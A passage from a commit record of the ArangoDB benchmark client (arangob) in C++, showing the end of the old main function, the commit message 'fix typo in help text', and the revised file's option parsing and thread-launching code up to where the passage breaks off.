@}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION-- public functions\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @addtogroup arangoimp\n\/\/\/ @{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief main\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint main (int argc, char* argv[]) {\n TRIAGENS_C_INITIALISE(argc, argv);\n TRIAGENS_REST_INITIALISE(argc, argv);\n\n TRI_InitialiseLogging(false);\n\n BaseClient.setEndpointString(Endpoint::getDefaultEndpoint());\n\n \/\/ .............................................................................\n \/\/ parse the program options\n \/\/ .............................................................................\n\n ParseProgramOptions(argc, argv);\n\n \/\/ .............................................................................\n \/\/ set-up client connection\n \/\/ .............................................................................\n\n BaseClient.createEndpoint();\n\n if (BaseClient.endpointServer() == 0) {\n LOGGER_FATAL_AND_EXIT(\"invalid value for --server.endpoint ('\" << BaseClient.endpointString() << \"')\");\n }\n\n BenchmarkOperation* testCase = GetTestCase(TestCase);\n\n if (testCase == 0) {\n LOGGER_FATAL_AND_EXIT(\"invalid test case name \" << TestCase);\n return EXIT_FAILURE; \/\/ will not be reached\n }\n\n Status(\"starting threads...\");\n\n BenchmarkCounter<unsigned long> operationsCounter(0, (unsigned long) Operations);\n ConditionVariable startCondition;\n\n\n vector<Endpoint*> endpoints;\n vector<BenchmarkThread*> threads;\n\n const double stepSize = (double) Operations \/ (double) Concurrency;\n int64_t realStep = (int64_t) stepSize;\n if (stepSize - (double) ((int64_t) stepSize) > 0.0) {\n realStep++;\n }\n if (realStep % 1000 != 0) {\n realStep += 1000 - (realStep % 1000);\n }\n \/\/ add some more offset we don't get into trouble with threads of different speed\n realStep += 10000;\n\n \/\/ start client threads\n for (int i = 0; i < Concurrency; ++i) {\n Endpoint* endpoint = Endpoint::clientFactory(BaseClient.endpointString());\n endpoints.push_back(endpoint);\n\n BenchmarkThread* thread = new BenchmarkThread(testCase,\n &startCondition,\n &UpdateStartCounter,\n i,\n (unsigned long) BatchSize,\n &operationsCounter,\n endpoint,\n BaseClient.databaseName(),\n BaseClient.username(),\n BaseClient.password(),\n BaseClient.requestTimeout(),\n BaseClient.connectTimeout(),\n KeepAlive, \n Async);\n\n threads.push_back(thread);\n thread->setOffset(i * realStep);\n thread->start();\n }\n\n \/\/ give all threads a chance to start so they will not miss the broadcast\n while (GetStartCounter() < Concurrency) {\n usleep(5000);\n }\n\n if (Delay) {\n Status(\"sleeping (startup delay)...\");\n sleep(10);\n }\n Status(\"executing tests...\");\n\n Timing timer(Timing::TI_WALLCLOCK);\n\n \/\/ broadcast the start signal to all threads\n {\n ConditionLocker guard(&startCondition);\n guard.broadcast();\n }\n\n const size_t stepValue = (Operations \/ 20);\n size_t nextReportValue = stepValue;\n\n if (nextReportValue < 100) {\n nextReportValue = 100;\n }\n\n while (1) {\n const size_t numOperations = operationsCounter.getValue();\n\n if (numOperations >= (size_t) Operations) {\n break;\n }\n\n if (Progress && numOperations >= nextReportValue) {\n LOGGER_INFO(\"number of operations: \" << nextReportValue);\n nextReportValue += stepValue;\n }\n\n usleep(20000);\n }\n\n double time = ((double) timer.time()) \/ 1000000.0;\n double requestTime = 0.0;\n\n for (int i = 0; i < Concurrency; ++i) {\n requestTime += threads[i]->getTime();\n }\n\n size_t failures = operationsCounter.failures();\n\n cout << endl;\n cout << \"Total number of operations: \" << Operations << \n \", keep alive: \" << (KeepAlive ? \"yes\" : \"no\") << \n \", async: \" << (Async ? \"yes\" : \"no\") << \n \", batch size: \" << BatchSize << \n \", concurrency level (threads): \" << Concurrency << \n endl;\n\n cout << \"Test case: \" << TestCase << \n \", complexity: \" << Complexity << \n \", database: '\" << BaseClient.databaseName() << \n \"', collection: '\" << Collection << \"'\" << \n endl;\n\n cout << \"Total request\/response duration (sum of all threads): \" << fixed << requestTime << \" s\" << endl;\n cout << \"Request\/response duration (per thread): \" << fixed << (requestTime \/ (double) Concurrency) << \" s\" << endl;\n cout << \"Time needed per operation: \" << fixed << (time \/ Operations) << \" s\" << endl;\n cout << \"Time needed per operation per thread: \" << fixed << (time \/ (double) Operations * (double) Concurrency) << \" s\" << endl;\n cout << \"Operations per second rate: \" << fixed << ((double) Operations \/ time) << endl;\n cout << \"Elapsed time since start: \" << fixed << time << \" s\" << endl << endl;\n\n if (failures > 0) {\n cerr << \"WARNING: \" << failures << \" arangob request(s) failed!!\" << endl;\n }\n\n testCase->tearDown();\n\n for (int i = 0; i < Concurrency; ++i) {\n threads[i]->join();\n delete threads[i];\n delete endpoints[i];\n }\n\n delete testCase;\n\n TRIAGENS_REST_SHUTDOWN;\n\n return (failures == 0) ? EXIT_SUCCESS : 2;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION-- END-OF-FILE\n\/\/ -----------------------------------------------------------------------------\n\n\/\/ Local Variables:\n\/\/ mode: outline-minor\n\/\/ outline-regexp: \"\/\/\/ @brief\\\\|\/\/\/ {@inheritDoc}\\\\|\/\/\/ @addtogroup\\\\|\/\/\/ @page\\\\|\/\/ --SECTION--\\\\|\/\/\/ @\\\\}\"\n\/\/ End:\n<commit_msg>fix typo in help text<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief arango benchmark tool\n\/\/\/\n\/\/\/ @file\n\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2004-2013 triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is triAGENS GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Dr. Frank Celler\n\/\/\/ @author Copyright 2011-2013, triAGENS GmbH, Cologne, Germany\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"BasicsC\/common.h\"\n\n#include <stdio.h>\n#include <iomanip>\n\n#include \"ArangoShell\/ArangoClient.h\"\n#include \"Basics\/Mutex.h\"\n#include \"Basics\/MutexLocker.h\"\n#include \"Basics\/ProgramOptions.h\"\n#include \"Basics\/ProgramOptionsDescription.h\"\n#include \"Basics\/StringUtils.h\"\n#include \"BasicsC\/init.h\"\n#include \"BasicsC\/logging.h\"\n#include \"BasicsC\/tri-strings.h\"\n#include \"BasicsC\/string-buffer.h\"\n#include \"BasicsC\/terminal-utils.h\"\n#include \"Logger\/Logger.h\"\n#include \"Rest\/Endpoint.h\"\n#include \"Rest\/HttpRequest.h\"\n#include \"Rest\/InitialiseRest.h\"\n#include \"SimpleHttpClient\/SimpleHttpClient.h\"\n#include \"SimpleHttpClient\/SimpleHttpResult.h\"\n#include \"Benchmark\/BenchmarkCounter.h\"\n#include \"Benchmark\/BenchmarkOperation.h\"\n#include \"Benchmark\/BenchmarkThread.h\"\n\n\nusing namespace std;\nusing namespace triagens::basics;\nusing namespace triagens::httpclient;\nusing namespace triagens::rest;\nusing namespace triagens::arango;\nusing namespace triagens::arangob;\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION-- private variables\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @addtogroup Benchmark\n\/\/\/ @{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief base class for clients\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nArangoClient BaseClient;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief started counter\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic volatile int Started = 0;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief mutex for start counter\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nMutex StartMutex;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief send asychronous requests\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic bool Async = false;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief number of operations in one batch\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic int BatchSize = 0;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief collection to use\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic string Collection = \"ArangoBenchmark\";\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief complexity parameter for tests\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic uint64_t Complexity = 1;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief concurrency\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic int Concurrency = 1;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief use a startup delay\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic bool Delay = false;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief use HTTP keep-alive\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic bool KeepAlive = true;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief number of operations to perform\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic int Operations = 1000;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief display progress\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic bool Progress = true;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief test case to use\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic string TestCase = \"version\";\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief includes all the test cases\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"Benchmark\/test-cases.h\"\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION-- private functions\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @addtogroup Benchmark\n\/\/\/ @{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief update the number of ready threads. this is a callback function\n\/\/\/ that is called by each thread after it is created\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic void UpdateStartCounter () {\n MUTEX_LOCKER(StartMutex);\n ++Started;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief get the value of the number of started threads counter\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic int GetStartCounter () {\n MUTEX_LOCKER(StartMutex);\n return Started;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief print a status line (if ! quiet)\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic void Status (const string& value) {\n if (! BaseClient.quiet()) {\n cout << value << endl;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief parses the program options\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic void ParseProgramOptions (int argc, char* argv[]) {\n ProgramOptionsDescription description(\"STANDARD options\");\n\n description\n (\"async\", &Async, \"send asychronous requests\")\n (\"concurrency\", &Concurrency, \"number of parallel connections\")\n (\"requests\", &Operations, \"total number of operations\")\n (\"batch-size\", &BatchSize, \"number of operations in one batch (0 disables batching)\")\n (\"keep-alive\", &KeepAlive, \"use HTTP keep-alive\")\n (\"collection\", &Collection, \"collection name to use in tests\")\n (\"test-case\", &TestCase, \"test case to use\")\n (\"complexity\", &Complexity, \"complexity parameter for the test\")\n (\"delay\", &Delay, \"use a startup delay (necessary only when run in series)\")\n (\"progress\", &Progress, \"show progress\")\n ;\n\n BaseClient.setupGeneral(description);\n BaseClient.setupServer(description);\n\n vector<string> arguments;\n description.arguments(&arguments);\n\n ProgramOptions options;\n BaseClient.parse(options, description, argc, argv, \"arangob.conf\");\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ --SECTION-- public functions\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @addtogroup arangoimp\n\/\/\/ @{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ @brief main\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint main (int argc, char* argv[]) {\n TRIAGENS_C_INITIALISE(argc, argv);\n TRIAGENS_REST_INITIALISE(argc, argv);\n\n TRI_InitialiseLogging(false);\n\n BaseClient.setEndpointString(Endpoint::getDefaultEndpoint());\n\n \/\/ .............................................................................\n \/\/ parse the program options\n \/\/ .............................................................................\n\n ParseProgramOptions(argc, argv);\n\n \/\/ .............................................................................\n \/\/ set-up client connection\n \/\/ .............................................................................\n\n BaseClient.createEndpoint();\n\n if (BaseClient.endpointServer() == 0) {\n LOGGER_FATAL_AND_EXIT(\"invalid value for --server.endpoint ('\" << BaseClient.endpointString() << \"')\");\n }\n\n BenchmarkOperation* testCase = GetTestCase(TestCase);\n\n if (testCase == 0) {\n LOGGER_FATAL_AND_EXIT(\"invalid test case name \" << TestCase);\n return EXIT_FAILURE; \/\/ will not be reached\n }\n\n Status(\"starting threads...\");\n\n BenchmarkCounter<unsigned long> operationsCounter(0, (unsigned long) Operations);\n ConditionVariable startCondition;\n\n\n vector<Endpoint*> endpoints;\n 